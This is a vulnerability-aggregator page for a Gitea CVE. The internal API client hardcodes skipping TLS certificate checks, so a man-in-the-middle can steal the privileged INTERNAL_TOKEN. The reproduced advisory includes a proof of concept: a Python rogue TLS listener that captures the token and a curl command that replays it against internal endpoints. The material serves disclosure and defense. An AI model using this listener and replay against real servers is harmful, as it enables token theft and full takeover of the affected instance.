CVE-2026-54481

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 7.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override

Summary

Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase that cannot be made to verify its peer's certificate — webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default SkipVerify toggle, this one does not.

When an operator configures internal communication over HTTPS to a non-loopback target (LOCAL_ROOT_URL=https:/// in a split-host / multi-pod topology), the gitea serv / gitea hook subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path position on that internal segment can MITM the connection and capture the static high-privilege INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token generation).

Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not interceptable without local access (which already exposes the token directly). This report is rated for the affected configuration and the underlying defense-in-depth defect. Details

Affected component: modules/private/internal.go

The internal API transport hardcodes certificate-verification bypass:

var internalAPITransport = sync.OnceValue(func() http.RoundTripper { return &http.Transport{ DialContext: dialContextInternalAPI, TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // hardcoded, no config gate ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true }, } })

Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN, self-signed) is accepted; there is no accidental safety net.

Verified exploit chain (read against main @ aab9737651, 2026-06-13):

  • TLS path is reached whenever LOCAL_ROOT_URL scheme is https — http.Transport applies
TLSClientConfig only for https requests. (modules/private/internal.go:56-64)
  • The dialer connects to the real host from the URL, with no loopback pinning:
dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port from LOCAL_ROOT_URL. (modules/private/internal.go:37-54)
  • The client runs as a SEPARATE process, so a real socket is used and can cross hosts:
  • Built-in and external SSH both exec "gitea serv key-N" (modules/ssh/ssh.go:109,123;
models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=).
  • Git hooks exec "gitea hook ...".
These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop.
  • INTERNAL_TOKEN is sent on every internal request as a static bearer header:
Header("X-Gitea-Internal-Auth", "Bearer "+setting.InternalToken) (modules/private/internal.go:80)
  • A captured token is accepted and is the SOLE gate for all internal routes:
authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else. (routers/private/internal.go:24-42). The server code even comments: "// TODO: use something like JWT or HMAC to avoid passing the token in the clear" (routers/private/internal.go:32)
  • Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket:
r.Mount("/api/internal", private.Routes()) (routers/init.go:185) so a stolen token is replayable by anyone who can reach the Gitea HTTP port.

Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default (services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify; incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out. The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected. PoC

Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it.

Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path.

  • Configure Gitea so the internal client uses HTTPS to an interceptable target:
[server] PROTOCOL = https LOCAL_ROOT_URL = https://127.0.0.1:8443/
  • Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the
X-Gitea-Internal-Auth request header. Minimal handler:

# python3 rogue.py import http.server, ssl, subprocess subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem", "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True) class H(http.server.BaseHTTPRequestHandler): def handle_one(self): pass def do_GET(self): self._h() def do_POST(self): self._h() def _h(self): a = self.headers.get("X-Gitea-Internal-Auth","") if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ","")) self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}') def log_message(self,*a): pass s = http.server.HTTPServer(("127.0.0.1",8443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem") s.socket = ctx.wrap_socket(s.socket, server_side=True) s.serve_forever()

  • Trigger a real internal call through a subprocess path: perform an SSH git operation against the
instance (e.g. git clone ssh://git@:/owner/repo.git). sshd/built-in SSH execs gitea serv, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener.
  • Observe at the listener:
[!] CAPTURED TOKEN:
  • Confirm the token is privileged by replaying it directly against the Gitea HTTP port:
curl -k https://:/api/internal/manager/processes \ -H "X-Gitea-Internal-Auth: Bearer " A 200 with process data confirms full internal-API access (the same token also reaches /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.).

In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost listener; the client behaviour (trusting the rogue cert and sending the token) is identical. Impact

Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static high-privilege INTERNAL_TOKEN -> full internal-API compromise.

Who is impacted: operators who run internal communication over HTTPS to a non-loopback target (split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https:///) on a network segment where an attacker can obtain on-path position. With the token, an attacker can: shut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control pre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and generate Actions runner tokens.

NOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback deployments, where the internal call is loopback and not interceptable without local code execution (which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).

CVSS v3
7.5
EG Score
7.5(low)
EG Risk
38(Track)
EG Risk 38/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-54481(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
Go(2)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0
gitea.dev1.27.0

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:19 UTCEG score recompute
  2. 2026-07-21 21:20 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54481?
CVE-2026-54481 is a high vulnerability published on July 21, 2026. Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override Summary Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase…
When was CVE-2026-54481 disclosed?
CVE-2026-54481 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54481?
CVE-2026-54481 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54481?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54481, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-54481

Explore →

Is Your Infrastructure Affected by CVE-2026-54481?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.